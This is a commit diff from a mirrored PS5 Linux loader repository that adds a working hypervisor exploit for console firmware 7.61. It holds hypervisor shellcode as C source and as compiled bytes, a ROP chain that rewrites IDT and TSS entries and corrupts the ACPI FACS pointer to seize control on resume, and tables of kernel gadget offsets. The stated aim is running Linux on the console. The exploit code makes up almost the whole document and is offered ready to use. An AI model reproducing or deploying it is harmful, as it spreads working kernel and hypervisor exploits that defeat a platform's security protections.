mirror of
https://github.com/ps5-linux/ps5-linux-loader.git
synced 2026-07-15 21:42:27 +00:00
Add 7.61 HV exploit.
This commit is contained in:
7
Makefile
7
Makefile
@@ -13,10 +13,14 @@ OBJS := $(SRC:.c=.o)
|
||||
CFLAGS := -std=c23 -Wall -Iinclude -Ishellcode_hv -Ishellcode_kernel
|
||||
LDFLAGS :=
|
||||
|
||||
SC_0607_H := shellcode_0607/shellcode_0607.h
|
||||
SC_HV_H := shellcode_hv/shellcode_hv.h
|
||||
SC_K_H := shellcode_kernel/shellcode_kernel.h
|
||||
|
||||
all: $(SC_HV_H) $(SC_K_H) $(BIN)
|
||||
all: $(SC_0607_H) $(SC_HV_H) $(SC_K_H) $(BIN)
|
||||
|
||||
$(SC_0607_H):
|
||||
$(MAKE) -C shellcode_0607
|
||||
|
||||
$(SC_HV_H):
|
||||
$(MAKE) -C shellcode_hv
|
||||
@@ -33,5 +37,6 @@ $(BIN): $(OBJS)
|
||||
|
||||
clean:
|
||||
rm -f $(BIN) $(OBJS)
|
||||
$(MAKE) -C shellcode_0607 clean
|
||||
$(MAKE) -C shellcode_hv clean
|
||||
$(MAKE) -C shellcode_kernel clean
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# ps5-linux
|
||||
|
||||
**ps5-linux** leverages patched HV vulnerabilities to transform your PS5 Phat console running **3.00-6.02 firmwares** into a highly capable Linux PC, unlocking its full hardware potential for desktop use. Powered by 8 CPU cores (16 threads) at **3.5 GHz** and a GPU at **2.23 GHz**, it provides enough performance to run Steam games and various emulators with impressive fluidity.
|
||||
**ps5-linux** leverages patched HV vulnerabilities to transform your **PS5 Phat and Slim** console running **3.00-7.61 firmwares** into a highly capable Linux PC, unlocking its full hardware potential for desktop use. Powered by 8 CPU cores (16 threads) at **3.5 GHz** and a GPU at **2.23 GHz**, it provides enough performance to run Steam games and various emulators with impressive fluidity.
|
||||
|
||||
Features:
|
||||
|
||||
@@ -19,10 +19,11 @@ Features:
|
||||
- **4.00**, **4.02**, **4.03**, **4.50**, **4.51** with M.2 support
|
||||
- **5.00**, **5.02**, **5.10**, **5.50** with M.2 support
|
||||
- **6.00**, **6.02** with M.2 support
|
||||
- **7.61** with M.2 support
|
||||
|
||||
Support for 1.xx and 2.xx firmwares may be added in the future, but we will not prioritize this effort.
|
||||
|
||||
If you want to update to a specific firmware, [download the correct PUP](https://darthsternie.net/ps5-firmwares/) and follow the [official guide](https://www.playstation.com/en-us/support/hardware/reinstall-playstation-system-software-safe-mode) to upgrade your PS5. Obviously you cannot downgrade.
|
||||
If you want to update to a specific firmware, [download the correct PUP](https://darthsternie.net/ps5-firmwares/) and follow the [official guide](https://www.playstation.com/en-us/support/hardware/reinstall-playstation-system-software-safe-mode) to upgrade your PS5. **Obviously you cannot downgrade.**
|
||||
|
||||
## Hardwares
|
||||
|
||||
@@ -119,7 +120,7 @@ The front top Type-A port is USB 2.0 which is slower and thus not recommended.
|
||||
5. Go into PS5 advanced network settings and set primary DNS to your PCs IP address and leave secondary at `0.0.0.0`
|
||||
6. Go to user manual in settings and accept untrusted certificate prompt, run.
|
||||
|
||||
#### Firmware 6.00-6.02
|
||||
#### Firmware 6.00-7.61
|
||||
|
||||
1. Install Y2JB by following https://github.com/Gezine/Y2JB.
|
||||
2. Run kernel exploit: `python3 payload_sender.py $PS5IP 50000 payloads/lapse.js`
|
||||
|
||||
@@ -20,7 +20,8 @@
|
||||
// This is used as transitional storage from ProsperoOS to Kernel shellcode
|
||||
#define kernel_cave 0xFFFF800000000000
|
||||
#define kernel_cave_shellcode kernel_cave
|
||||
#define kernel_cave_files kernel_cave_shellcode + PAGE_SIZE + PAGE_SIZE
|
||||
#define kernel_cave_shellcode_0761 kernel_cave_shellcode + PAGE_SIZE + PAGE_SIZE
|
||||
#define kernel_cave_files kernel_cave_shellcode_0761 + PAGE_SIZE
|
||||
#define kernel_cave_linux_info kernel_cave_files
|
||||
#define kernel_cave_bzImage kernel_cave_linux_info + PAGE_SIZE
|
||||
|
||||
|
||||
8
include/hv_defeat_0607.h
Normal file
8
include/hv_defeat_0607.h
Normal file
@@ -0,0 +1,8 @@
|
||||
#ifndef HV_DEFEAT_0607_H
|
||||
#define HV_DEFEAT_0607_H
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
int hv_defeat_0607(void *shellcode_kernel, size_t shellcode_kernel_len);
|
||||
|
||||
#endif
|
||||
@@ -20,10 +20,13 @@ typedef struct _offset_list {
|
||||
uint64_t FUN_MEMCPY;
|
||||
uint64_t GAD_ADD_RSP_28_POP_RBP_RET;
|
||||
uint64_t GAD_IRETQ;
|
||||
uint64_t GAD_POP_RAX_RET;
|
||||
uint64_t GAD_POP_RDI_RET;
|
||||
uint64_t GAD_POP_RSI_RET;
|
||||
uint64_t GAD_POP_RDX_RET;
|
||||
uint64_t GAD_POP_RCX_RET;
|
||||
uint64_t GAD_POP_RSP_RET;
|
||||
uint64_t GAD_WRMSR_RET;
|
||||
uint64_t GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET;
|
||||
/* Shellcode Kernel */
|
||||
uint64_t HOOK_ACPI_WAKEUP_MACHDEP;
|
||||
@@ -63,5 +66,6 @@ extern offset_list off_0510;
|
||||
extern offset_list off_0550;
|
||||
extern offset_list off_0600;
|
||||
extern offset_list off_0602;
|
||||
extern offset_list off_0761;
|
||||
|
||||
#endif
|
||||
|
||||
34
shellcode_0607/Makefile
Normal file
34
shellcode_0607/Makefile
Normal file
@@ -0,0 +1,34 @@
|
||||
ifeq ($(shell uname -m),aarch64)
|
||||
CC = x86_64-linux-gnu-gcc
|
||||
LD = x86_64-linux-gnu-ld
|
||||
OBJCOPY = x86_64-linux-gnu-objcopy
|
||||
else
|
||||
CC = gcc
|
||||
LD = ld
|
||||
OBJCOPY = objcopy
|
||||
endif
|
||||
CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -mno-sse -mno-sse2 -m64
|
||||
LDFLAGS = -T linker.ld -Wl,--no-warn-rwx-segments
|
||||
TARGET = shellcode_0607.elf
|
||||
TEXT_BIN = shellcode_0607.bin
|
||||
dump = shellcode_0607.h
|
||||
|
||||
SRC = main.c utils.c
|
||||
OBJ = $(SRC:.c=.o)
|
||||
|
||||
all: $(dump)
|
||||
|
||||
$(TARGET): $(OBJ)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) $(OBJ) -o $(TARGET)
|
||||
|
||||
%.o: %.c
|
||||
$(CC) $(CFLAGS) -c $< -o $@
|
||||
|
||||
$(TEXT_BIN): $(TARGET)
|
||||
$(OBJCOPY) -O binary -j .shell_code $(TARGET) $(TEXT_BIN)
|
||||
|
||||
clean:
|
||||
rm -f $(OBJ) $(TARGET) $(TEXT_BIN) $(dump)
|
||||
|
||||
$(dump): $(TEXT_BIN)
|
||||
xxd -i $(TEXT_BIN) > $(dump)
|
||||
18
shellcode_0607/linker.ld
Normal file
18
shellcode_0607/linker.ld
Normal file
@@ -0,0 +1,18 @@
|
||||
/* linker.ld */
|
||||
ENTRY(main)
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
. = 0x1000; /* 0x1000 to avoid warnings from linker */
|
||||
/* Place our custom header first */
|
||||
.shell_code :
|
||||
{
|
||||
*(.entry_point)
|
||||
*(.text)
|
||||
*(.text.*)
|
||||
*(.data*)
|
||||
*(.rodata*)
|
||||
*(.bss)
|
||||
*(.bss.*)
|
||||
}
|
||||
}
|
||||
52
shellcode_0607/main.c
Normal file
52
shellcode_0607/main.c
Normal file
@@ -0,0 +1,52 @@
|
||||
#include "utils.h"
|
||||
|
||||
// 7.61 offsets
|
||||
#define HV_REENTER_HYPERCORE 0x0000000062806380
|
||||
#define HV_STACK_TABLE 0x000000006282E120
|
||||
#define HV_PML4 0x000000006282E1A0
|
||||
#define HV_ENTRY 0x000000006282E1B8
|
||||
#define HV_MAIN 0x0000000000000E20
|
||||
#define G_VM_TAB 0x0000000000027C80
|
||||
|
||||
#define MSR_APICBASE 0x01b
|
||||
#define MSR_GSBASE 0xc0000101
|
||||
|
||||
#define DEFAULT_APIC_BASE 0xfee00000
|
||||
|
||||
#define APICBASE_ENABLED 0x00000800
|
||||
#define APICBASE_BSP 0x00000100
|
||||
|
||||
#define NESTED_CTRL_NP_ENABLE 0x1
|
||||
|
||||
__attribute__((section(".entry_point"), naked)) uint32_t main(void) {
|
||||
uint64_t hv_pml4 = *(uint64_t *)HV_PML4;
|
||||
uint64_t hv_base = *(uint64_t *)HV_ENTRY - HV_MAIN;
|
||||
|
||||
uintptr_t *g_vm_tab =
|
||||
(uintptr_t *)vtophys_custom(hv_base + G_VM_TAB, hv_pml4);
|
||||
for (int i = 0; i < 16; i++) {
|
||||
uintptr_t vc = vtophys_custom(g_vm_tab[i], hv_pml4);
|
||||
uintptr_t vmcb = vtophys_custom(*(uintptr_t *)(vc + 0x08), hv_pml4);
|
||||
|
||||
if (i == 0) {
|
||||
// Restore guest_apic_base.
|
||||
*(uint64_t *)(vc + 0xe8) =
|
||||
DEFAULT_APIC_BASE | APICBASE_ENABLED | APICBASE_BSP;
|
||||
}
|
||||
|
||||
// Disable nested paging.
|
||||
*(uint64_t *)(vmcb + 0x90) &= ~NESTED_CTRL_NP_ENABLE;
|
||||
}
|
||||
|
||||
// Restore host apic base.
|
||||
wrmsr(MSR_APICBASE, DEFAULT_APIC_BASE | APICBASE_ENABLED | APICBASE_BSP);
|
||||
|
||||
// Restore gs base.
|
||||
wrmsr(MSR_GSBASE, ((uint64_t *)HV_STACK_TABLE)[0] + 0x1000);
|
||||
|
||||
// Reenter hypercore.
|
||||
void (*hv_reenter_hypercore)(void) = (void *)HV_REENTER_HYPERCORE;
|
||||
hv_reenter_hypercore();
|
||||
while (1)
|
||||
;
|
||||
}
|
||||
34
shellcode_0607/shellcode_0607.h
Normal file
34
shellcode_0607/shellcode_0607.h
Normal file
@@ -0,0 +1,34 @@
|
||||
unsigned char shellcode_0607_bin[] = {
|
||||
0x4c, 0x8b, 0x2c, 0x25, 0xa0, 0xe1, 0x82, 0x62, 0x48, 0x8b, 0x04, 0x25,
|
||||
0xb8, 0xe1, 0x82, 0x62, 0x31, 0xdb, 0x48, 0x8d, 0xb8, 0x60, 0x6e, 0x02,
|
||||
0x00, 0x4c, 0x89, 0xee, 0xe8, 0x9f, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc5,
|
||||
0x66, 0x66, 0x2e, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90,
|
||||
0x48, 0x8b, 0x7d, 0x00, 0x4c, 0x89, 0xee, 0xe8, 0x84, 0x00, 0x00, 0x00,
|
||||
0x4c, 0x89, 0xee, 0x48, 0x8b, 0x78, 0x08, 0x49, 0x89, 0xc4, 0xe8, 0x75,
|
||||
0x00, 0x00, 0x00, 0x85, 0xdb, 0x74, 0x19, 0x83, 0xc3, 0x01, 0x48, 0x83,
|
||||
0xa0, 0x90, 0x00, 0x00, 0x00, 0xfe, 0x83, 0xfb, 0x10, 0x74, 0x29, 0x48,
|
||||
0x83, 0xc5, 0x08, 0xeb, 0xcb, 0x0f, 0x1f, 0x00, 0xba, 0x00, 0x09, 0xe0,
|
||||
0xfe, 0x48, 0x83, 0xc5, 0x08, 0xbb, 0x01, 0x00, 0x00, 0x00, 0x49, 0x89,
|
||||
0x94, 0x24, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xa0, 0x90, 0x00, 0x00,
|
||||
0x00, 0xfe, 0xeb, 0xa8, 0xbe, 0x00, 0x09, 0xe0, 0xfe, 0xbf, 0x1b, 0x00,
|
||||
0x00, 0x00, 0xe8, 0xc9, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x04, 0x25, 0x20,
|
||||
0xe1, 0x82, 0x62, 0xbf, 0x01, 0x01, 0x00, 0xc0, 0x48, 0x8d, 0xb0, 0x00,
|
||||
0x10, 0x00, 0x00, 0xe8, 0xb0, 0x00, 0x00, 0x00, 0xb8, 0x80, 0x63, 0x80,
|
||||
0x62, 0xff, 0xd0, 0xeb, 0xfe, 0x0f, 0x1f, 0x80, 0x00, 0x00, 0x00, 0x00,
|
||||
0x48, 0x89, 0xf8, 0x81, 0xe6, 0x00, 0xf0, 0xff, 0xff, 0x48, 0xc1, 0xe8,
|
||||
0x27, 0x25, 0xff, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x14, 0xc6, 0x48, 0x89,
|
||||
0xd0, 0x83, 0xe0, 0x01, 0x74, 0x72, 0xb9, 0x1e, 0x00, 0x00, 0x00, 0x31,
|
||||
0xf6, 0x49, 0xb8, 0x00, 0xf0, 0xff, 0xff, 0xff, 0xff, 0x0f, 0x00, 0x48,
|
||||
0x89, 0xf8, 0x4c, 0x21, 0xc2, 0x48, 0xd3, 0xe8, 0x25, 0xff, 0x01, 0x00,
|
||||
0x00, 0x48, 0x8b, 0x14, 0xc2, 0x48, 0x89, 0xd0, 0x83, 0xe0, 0x01, 0x74,
|
||||
0x47, 0x83, 0xfe, 0x02, 0x75, 0x12, 0x4c, 0x21, 0xc2, 0x81, 0xe7, 0xff,
|
||||
0x0f, 0x00, 0x00, 0x48, 0x89, 0xd0, 0x48, 0x09, 0xf8, 0xc3, 0x66, 0x90,
|
||||
0x83, 0xc6, 0x01, 0x83, 0xe9, 0x09, 0xf6, 0xc2, 0x80, 0x74, 0xc4, 0x83,
|
||||
0xfe, 0x01, 0xb9, 0xff, 0xff, 0xff, 0x3f, 0xb8, 0xff, 0xff, 0x1f, 0x00,
|
||||
0x48, 0x0f, 0x44, 0xc1, 0x48, 0xb9, 0x00, 0xf0, 0xff, 0xff, 0xff, 0xff,
|
||||
0x0f, 0x00, 0x48, 0x21, 0xca, 0x48, 0x21, 0xf8, 0x48, 0x09, 0xd0, 0xc3,
|
||||
0xc3, 0x66, 0x66, 0x2e, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x0f, 0x1f, 0x40, 0x00, 0x48, 0x89, 0xf2, 0x48, 0x89, 0xf0, 0x89, 0xf9,
|
||||
0x48, 0xc1, 0xea, 0x20, 0x0f, 0x30, 0xc3
|
||||
};
|
||||
unsigned int shellcode_0607_bin_len = 367;
|
||||
35
shellcode_0607/utils.c
Normal file
35
shellcode_0607/utils.c
Normal file
@@ -0,0 +1,35 @@
|
||||
#include "utils.h"
|
||||
#include <cpuid.h>
|
||||
|
||||
uint64_t vtophys_custom(uint64_t va, uint64_t cr3_custom) {
|
||||
uint64_t table_phys = cr3_custom & 0xFFFFFFFF;
|
||||
|
||||
for (int level = 0; level < 4; level++) {
|
||||
int shift = 39 - (level * 9);
|
||||
uint64_t idx = (va >> shift) & 0x1FF;
|
||||
uint64_t entry;
|
||||
uint64_t entry_va = PAGE_PA(table_phys) + idx * 8;
|
||||
|
||||
entry = *(uint64_t *)entry_va;
|
||||
|
||||
if (!PAGE_P(entry))
|
||||
return 0;
|
||||
|
||||
if ((level == 1 || level == 2) && PAGE_PS(entry)) {
|
||||
uint64_t page_size = P_SIZE(level);
|
||||
return PAGE_PA(entry) | (va & (page_size - 1));
|
||||
}
|
||||
|
||||
if (level == 3)
|
||||
return PAGE_PA(entry) | (va & 0xFFF);
|
||||
|
||||
table_phys = PAGE_PA(entry);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void wrmsr(uint32_t msr, uint64_t val) {
|
||||
uint32_t low = val & 0xFFFFFFFF;
|
||||
uint32_t high = val >> 32;
|
||||
__asm__ __volatile__("wrmsr" : : "a"(low), "d"(high), "c"(msr));
|
||||
}
|
||||
37
shellcode_0607/utils.h
Normal file
37
shellcode_0607/utils.h
Normal file
@@ -0,0 +1,37 @@
|
||||
#ifndef UTILS_H
|
||||
#define UTILS_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
// Defines for Page management
|
||||
enum page_bits {
|
||||
P = 0,
|
||||
RW,
|
||||
US,
|
||||
PWT,
|
||||
PCD,
|
||||
A,
|
||||
D,
|
||||
PS,
|
||||
G,
|
||||
XO = 58,
|
||||
PK = 59,
|
||||
NX = 63
|
||||
};
|
||||
|
||||
#define PG_B_P (1ULL << P)
|
||||
#define PG_B_RW (1ULL << RW)
|
||||
#define PAGE_P(x) (x & (1ULL << P))
|
||||
#define PAGE_RW(x) (x & (1ULL << RW))
|
||||
#define PAGE_PS(x) (x & (1ULL << PS))
|
||||
#define PAGE_XO(x) (x & (1ULL << XO))
|
||||
#define PAGE_CLEAR_XO(x) (x &= ~(1ULL << XO))
|
||||
#define PAGE_CLEAR_G(x) (x &= ~(1ULL << G))
|
||||
#define PAGE_SET_RW(x) (x |= (1ULL << RW))
|
||||
#define PAGE_PA(x) (x & 0x000FFFFFFFFFF000ULL)
|
||||
#define P_SIZE(l) ((l == 1) ? (1ULL << 30) : (1ULL << 21))
|
||||
|
||||
uint64_t vtophys_custom(uint64_t va, uint64_t cr3_custom);
|
||||
void wrmsr(uint32_t msr, uint64_t val);
|
||||
|
||||
#endif
|
||||
@@ -28,7 +28,7 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
|
||||
if (hv_defeat_0304(args_ptr))
|
||||
return -1;
|
||||
} else if ((0x0500 <= args_ptr->fw_version) &&
|
||||
(args_ptr->fw_version < 0x0650)) {
|
||||
(args_ptr->fw_version < 0x0800)) {
|
||||
// Already escaped.
|
||||
} else {
|
||||
return 0;
|
||||
|
||||
120
source/hv_defeat_0607.c
Normal file
120
source/hv_defeat_0607.c
Normal file
@@ -0,0 +1,120 @@
|
||||
#include "hv_defeat_0607.h"
|
||||
#include "../shellcode_0607/shellcode_0607.h"
|
||||
#include "config.h"
|
||||
#include "utils.h"
|
||||
#include <machine/segments.h>
|
||||
#include <machine/tss.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#define IDT_SX 30
|
||||
|
||||
#define MSR_APICBASE 0x01b
|
||||
|
||||
#define APICBASE_ENABLED 0x00000800
|
||||
#define APICBASE_BSP 0x00000100
|
||||
|
||||
static void setidt(int idx, uintptr_t func, int typ, int dpl, int ist) {
|
||||
struct gate_descriptor ip = {};
|
||||
ip.gd_looffset = func;
|
||||
ip.gd_selector = GSEL(GCODE_SEL, SEL_KPL);
|
||||
ip.gd_ist = ist;
|
||||
ip.gd_xx = 0;
|
||||
ip.gd_type = typ;
|
||||
ip.gd_dpl = dpl;
|
||||
ip.gd_p = 1;
|
||||
ip.gd_hioffset = func >> 16;
|
||||
kwrite(ktext + env_offset.IDT + idx * sizeof(struct gate_descriptor), &ip,
|
||||
sizeof(ip));
|
||||
}
|
||||
|
||||
static uint64_t get_hv_stack(void) {
|
||||
if (fw == 0x0761) {
|
||||
return 0x628ec000;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static void build_gp_rop(uintptr_t ist) {
|
||||
uint64_t rop_buf[256] = {};
|
||||
uint64_t *rop = rop_buf;
|
||||
|
||||
// Copy shellcode_0607 to pa 0.
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
|
||||
*rop++ = pa_to_dmap(0);
|
||||
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
|
||||
*rop++ = kernel_cave_shellcode_0761;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
|
||||
*rop++ = shellcode_0607_bin_len;
|
||||
*rop++ = ktext + env_offset.FUN_MEMCPY;
|
||||
|
||||
// wrmsr(MSR_APICBASE, get_hv_stack() | APICBASE_ENABLED | APICBASE_BSP);
|
||||
uint64_t index = MSR_APICBASE;
|
||||
uint64_t value = get_hv_stack() | APICBASE_ENABLED | APICBASE_BSP;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RCX_RET;
|
||||
*rop++ = index;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RAX_RET;
|
||||
*rop++ = value & 0xffffffff;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
|
||||
*rop++ = value >> 32;
|
||||
*rop++ = ktext + env_offset.GAD_WRMSR_RET;
|
||||
|
||||
// Trigger hv code execution.
|
||||
*rop++ = ktext + env_offset.GAD_WRMSR_RET;
|
||||
|
||||
kwrite(ist + 0x1000, rop_buf, (uintptr_t)rop - (uintptr_t)rop_buf);
|
||||
}
|
||||
|
||||
static void build_sx_rop(uintptr_t ist, size_t shellcode_kernel_len) {
|
||||
uint64_t rop_buf[256] = {};
|
||||
uint64_t *rop = rop_buf;
|
||||
|
||||
// Copy shellcode.
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDI_RET;
|
||||
*rop++ = ktext + env_offset.KERNEL_CODE_CAVE;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RSI_RET;
|
||||
*rop++ = kernel_cave_shellcode;
|
||||
*rop++ = ktext + env_offset.GAD_POP_RDX_RET;
|
||||
*rop++ = shellcode_kernel_len;
|
||||
*rop++ = ktext + env_offset.FUN_MEMCPY;
|
||||
|
||||
// Jump to shellcode.
|
||||
*rop++ = ktext + env_offset.KERNEL_CODE_CAVE;
|
||||
|
||||
kwrite(ist + 0x1000, rop_buf, (uintptr_t)rop - (uintptr_t)rop_buf);
|
||||
}
|
||||
|
||||
int hv_defeat_0607(void *shellcode_kernel, size_t shellcode_kernel_len) {
|
||||
void *shellcode_0607 =
|
||||
mmap(NULL, ALIGN_UP(shellcode_0607_bin_len, PAGE_SIZE),
|
||||
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
|
||||
memcpy(shellcode_0607, shellcode_0607_bin, shellcode_0607_bin_len);
|
||||
|
||||
for (int i = 0; i < shellcode_0607_bin_len; i += PAGE_SIZE) {
|
||||
install_page_syscore(kernel_cave_shellcode_0761 + i,
|
||||
vtophys_user((uintptr_t)shellcode_0607 + i), 0);
|
||||
}
|
||||
|
||||
uintptr_t ist_gp = pa_to_dmap(alloc_page());
|
||||
build_gp_rop(ist_gp);
|
||||
kwrite64(ktext + env_offset.COMMON_TSS + 0 * sizeof(struct amd64tss) +
|
||||
offsetof(struct amd64tss, tss_ist6),
|
||||
ist_gp + 0x1000);
|
||||
setidt(IDT_GP, ktext + env_offset.GAD_ADD_RSP_28_POP_RBP_RET, SDT_SYSIGT,
|
||||
SEL_KPL, 6);
|
||||
|
||||
uintptr_t ist_sx = pa_to_dmap(alloc_page());
|
||||
build_sx_rop(ist_sx, shellcode_kernel_len);
|
||||
kwrite64(ktext + env_offset.COMMON_TSS + 0 * sizeof(struct amd64tss) +
|
||||
offsetof(struct amd64tss, tss_ist7),
|
||||
ist_sx + 0x1000);
|
||||
setidt(IDT_SX, ktext + env_offset.GAD_ADD_RSP_28_POP_RBP_RET, SDT_SYSIGT,
|
||||
SEL_KPL, 7);
|
||||
|
||||
// During suspend, AcpiSetFirmwareWakingVector will corrupt its own pointer,
|
||||
// and during resume it will trigger #GP, thus executing our ROP chain.
|
||||
kwrite64(ktext + env_offset.ACPIGBL_FACS,
|
||||
ktext + env_offset.ACPIGBL_FACS - 8);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -1,5 +1,6 @@
|
||||
#include "hv_defeat_0304.h"
|
||||
#include "hv_defeat_0506.h"
|
||||
#include "hv_defeat_0607.h"
|
||||
#include "loader.h"
|
||||
#include "prepare_resume.h"
|
||||
#include "utils.h"
|
||||
@@ -30,6 +31,9 @@ int main(void) {
|
||||
} else if ((0x0500 <= fw) && (fw < 0x0650)) {
|
||||
if (hv_defeat_0506(shellcode_kernel, shellcode_kernel_len))
|
||||
goto err;
|
||||
} else if ((0x0650 <= fw) && (fw < 0x0800)) {
|
||||
if (hv_defeat_0607(shellcode_kernel, shellcode_kernel_len))
|
||||
goto err;
|
||||
} else {
|
||||
goto err;
|
||||
}
|
||||
|
||||
@@ -224,9 +224,12 @@ offset_list off_0500 = {
|
||||
.FUN_MEMCPY = (0xFFFFFFFF80489E30 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80b93d94 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xffffffff8044b06d - KERNEL_TEXT),
|
||||
// .GAD_POP_RAX_RET not needed
|
||||
.GAD_POP_RDI_RET = (0xffffffff803e8778 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803a92b0 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff8040dafc - KERNEL_TEXT),
|
||||
// .GAD_POP_RCX_RET not needed
|
||||
// .GAD_WRMSR_RET not needed
|
||||
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff80603c0a - KERNEL_TEXT),
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
@@ -261,9 +264,12 @@ offset_list off_0502 = {
|
||||
.FUN_MEMCPY = (0xFFFFFFFF80489E30 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80b93d94 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xffffffff8044b06d - KERNEL_TEXT),
|
||||
// .GAD_POP_RAX_RET not needed
|
||||
.GAD_POP_RDI_RET = (0xffffffff803e8778 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803a92b0 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff8054d532 - KERNEL_TEXT),
|
||||
// .GAD_POP_RCX_RET not needed
|
||||
// .GAD_WRMSR_RET not needed
|
||||
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff80603c0a - KERNEL_TEXT),
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
@@ -298,9 +304,12 @@ offset_list off_0510 = {
|
||||
.FUN_MEMCPY = (0xFFFFFFFF80489E30 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80b93fe4 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xffffffff8044b06d - KERNEL_TEXT),
|
||||
// .GAD_POP_RAX_RET not needed
|
||||
.GAD_POP_RDI_RET = (0xffffffff803e8778 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803a92b0 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff8054d532 - KERNEL_TEXT),
|
||||
// .GAD_POP_RCX_RET not needed
|
||||
// .GAD_WRMSR_RET not needed
|
||||
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff80603c0a - KERNEL_TEXT),
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
@@ -335,9 +344,12 @@ offset_list off_0550 = {
|
||||
.FUN_MEMCPY = (0xFFFFFFFF80489DF0 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80b94dd4 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xFFFFFFFF8044B02D - KERNEL_TEXT),
|
||||
// .GAD_POP_RAX_RET not needed
|
||||
.GAD_POP_RDI_RET = (0xffffffff803e8738 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803a9270 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff8054d4f2 - KERNEL_TEXT),
|
||||
// .GAD_POP_RCX_RET not needed
|
||||
// .GAD_WRMSR_RET not needed
|
||||
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff80603cba - KERNEL_TEXT),
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
@@ -372,10 +384,13 @@ offset_list off_0600 = {
|
||||
.FUN_MEMCPY = (0xFFFFFFFF804935B0 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80bb6ad4 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xFFFFFFFF804547ED - KERNEL_TEXT),
|
||||
// .GAD_POP_RAX_RET not needed
|
||||
.GAD_POP_RDI_RET = (0xffffffff803f1ef8 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803b2a30 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff803f321e - KERNEL_TEXT),
|
||||
// .GAD_POP_RCX_RET not needed
|
||||
.GAD_POP_RSP_RET = (0xffffffff8045a830 - KERNEL_TEXT),
|
||||
// .GAD_WRMSR_RET not needed
|
||||
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff806141fa - KERNEL_TEXT),
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
@@ -410,10 +425,13 @@ offset_list off_0602 = {
|
||||
.FUN_MEMCPY = (0xFFFFFFFF804935B0 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80bb6ab4 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xFFFFFFFF804547ED - KERNEL_TEXT),
|
||||
// .GAD_POP_RAX_RET not needed
|
||||
.GAD_POP_RDI_RET = (0xffffffff803f1ef8 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803b2a30 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff804c48da - KERNEL_TEXT),
|
||||
// .GAD_POP_RCX_RET not needed
|
||||
